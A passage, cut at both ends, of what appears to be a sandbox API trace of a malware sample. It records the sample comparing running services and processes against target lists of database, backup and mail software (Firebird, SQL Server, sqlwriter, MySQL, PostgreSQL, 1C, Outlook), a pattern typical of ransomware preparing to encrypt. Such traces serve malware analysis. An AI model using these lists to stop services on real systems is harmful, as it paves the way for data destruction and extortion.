returned -1 [0048.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.774] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0048.774] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0048.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0048.774] lstrlenW (lpString="lmhosts") returned 7 [0048.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0048.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0048.774] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0048.774] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0048.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0048.774] lstrlenW (lpString="MMCSS") returned 5 [0048.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0048.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0048.774] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0048.774] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0048.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0048.774] lstrlenW (lpString="MpsSvc") returned 6 [0048.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0048.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0048.774] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0048.775] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0048.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0048.775] lstrlenW (lpString="Netman") returned 6 [0048.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0048.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0048.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0048.775] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0048.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0048.775] lstrlenW (lpString="netprofm") returned 8 [0048.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0048.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0048.775] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0048.775] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0048.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0048.775] lstrlenW (lpString="NlaSvc") returned 6 [0048.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0048.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0048.775] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0048.775] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0048.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0048.775] lstrlenW (lpString="nsi") returned 3 [0048.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0048.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0048.776] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0048.776] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0048.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0048.776] lstrlenW (lpString="PcaSvc") returned 6 [0048.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0048.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0048.776] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0048.776] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0048.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0048.776] lstrlenW (lpString="PlugPlay") returned 8 [0048.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0048.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0048.776] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0048.776] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0048.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0048.776] lstrlenW (lpString="Power") returned 5 [0048.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0048.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0048.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0048.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0048.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0048.777] lstrlenW (lpString="ProfSvc") returned 7 [0048.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0048.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0048.777] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0048.777] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0048.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0048.777] lstrlenW (lpString="RpcEptMapper") returned 12 [0048.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.777] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0048.778] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0048.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0048.778] lstrlenW (lpString="RpcSs") returned 5 [0048.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0048.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0048.778] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0048.778] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0048.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0048.778] lstrlenW (lpString="SamSs") returned 5 [0048.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0048.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0048.778] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0048.778] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0048.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0048.778] lstrlenW (lpString="Schedule") returned 8 [0048.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0048.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0048.778] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0048.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0048.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0048.778] lstrlenW (lpString="SENS") returned 4 [0048.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0048.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0048.778] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0048.779] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0048.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0048.779] lstrlenW (lpString="ShellHWDetection") returned 16 [0048.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.779] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0048.779] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0048.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0048.779] lstrlenW (lpString="Spooler") returned 7 [0048.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0048.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0048.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0048.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0048.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0048.779] lstrlenW (lpString="SysMain") returned 7 [0048.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0048.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0048.779] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0048.779] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0048.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0048.779] lstrlenW (lpString="Themes") returned 6 [0048.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0048.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0048.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0048.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0048.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0048.780] lstrlenW (lpString="TrkWks") returned 6 [0048.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0048.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0048.780] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0048.780] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0048.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0048.780] lstrlenW (lpString="UxSms") returned 5 [0048.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0048.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0048.780] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0048.780] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0048.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0048.780] lstrlenW (lpString="VSS") returned 3 [0048.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0048.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0048.780] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0048.780] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0048.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0048.780] lstrlenW (lpString="WdiServiceHost") returned 14 [0048.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.780] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0048.780] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0048.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0048.780] lstrlenW (lpString="WdiSystemHost") returned 13 [0048.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.780] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0048.780] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0048.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0048.781] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0048.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.781] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0048.781] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0048.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0048.781] lstrlenW (lpString="Winmgmt") returned 7 [0048.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0048.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0048.781] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0048.781] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0048.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0048.781] lstrlenW (lpString="WPDBusEnum") returned 10 [0048.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.781] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0048.781] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0048.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0048.781] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b4738 | out: hHeap=0x5a0000) returned 1 [0048.781] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1f8 [0048.784] Process32FirstW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.784] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.785] lstrlenW (lpString="System") returned 6 [0048.785] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0048.785] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0048.785] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0048.785] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0048.785] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0048.785] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0048.785] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0048.785] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.786] lstrlenW (lpString="smss.exe") returned 8 [0048.786] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0048.786] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0048.786] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0048.786] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0048.786] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0048.786] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0048.786] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0048.786] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.786] lstrlenW (lpString="csrss.exe") returned 9 [0048.786] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.787] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0048.787] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0048.787] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0048.787] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0048.787] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0048.787] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0048.787] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.787] lstrlenW (lpString="wininit.exe") returned 11 [0048.787] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0048.787] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0048.787] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0048.787] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0048.787] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0048.787] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0048.787] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0048.787] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.788] lstrlenW (lpString="csrss.exe") returned 9 [0048.788] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.788] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.789] lstrlenW (lpString="winlogon.exe") returned 12 [0048.789] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.789] lstrlenW (lpString="services.exe") returned 12 [0048.789] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.790] lstrlenW (lpString="lsass.exe") returned 9 [0048.790] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.790] lstrlenW (lpString="lsm.exe") returned 7 [0048.791] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.791] lstrlenW (lpString="svchost.exe") returned 11 [0048.791] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.792] lstrlenW (lpString="svchost.exe") returned 11 [0048.792] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.793] lstrlenW (lpString="svchost.exe") returned 11 [0048.793] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.793] lstrlenW (lpString="svchost.exe") returned 11 [0048.793] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.794] lstrlenW (lpString="svchost.exe") returned 11 [0048.794] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0048.794] lstrlenW (lpString="audiodg.exe") returned 11 [0048.794] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.795] lstrlenW (lpString="svchost.exe") returned 11 [0048.795] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.795] lstrlenW (lpString="svchost.exe") returned 11 [0048.796] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0048.796] lstrlenW (lpString="dwm.exe") returned 7 [0048.796] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0048.797] lstrlenW (lpString="explorer.exe") returned 12 [0048.797] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0048.797] lstrlenW (lpString="spoolsv.exe") returned 11 [0048.797] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.798] lstrlenW (lpString="taskhost.exe") returned 12 [0048.798] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.798] lstrlenW (lpString="svchost.exe") returned 11 [0048.798] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0048.799] lstrlenW (lpString="taskeng.exe") returned 11 [0048.799] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0048.799] lstrlenW (lpString="taskhost.exe") returned 12 [0048.799] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0048.800] lstrlenW (lpString="promotesrouting.exe") returned 19 [0048.800] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0048.800] lstrlenW (lpString="rxcalled.exe") returned 12 [0048.800] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0048.801] lstrlenW (lpString="off.exe") returned 7 [0048.801] Process32NextW (in: hSnapshot=0x1f8, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, 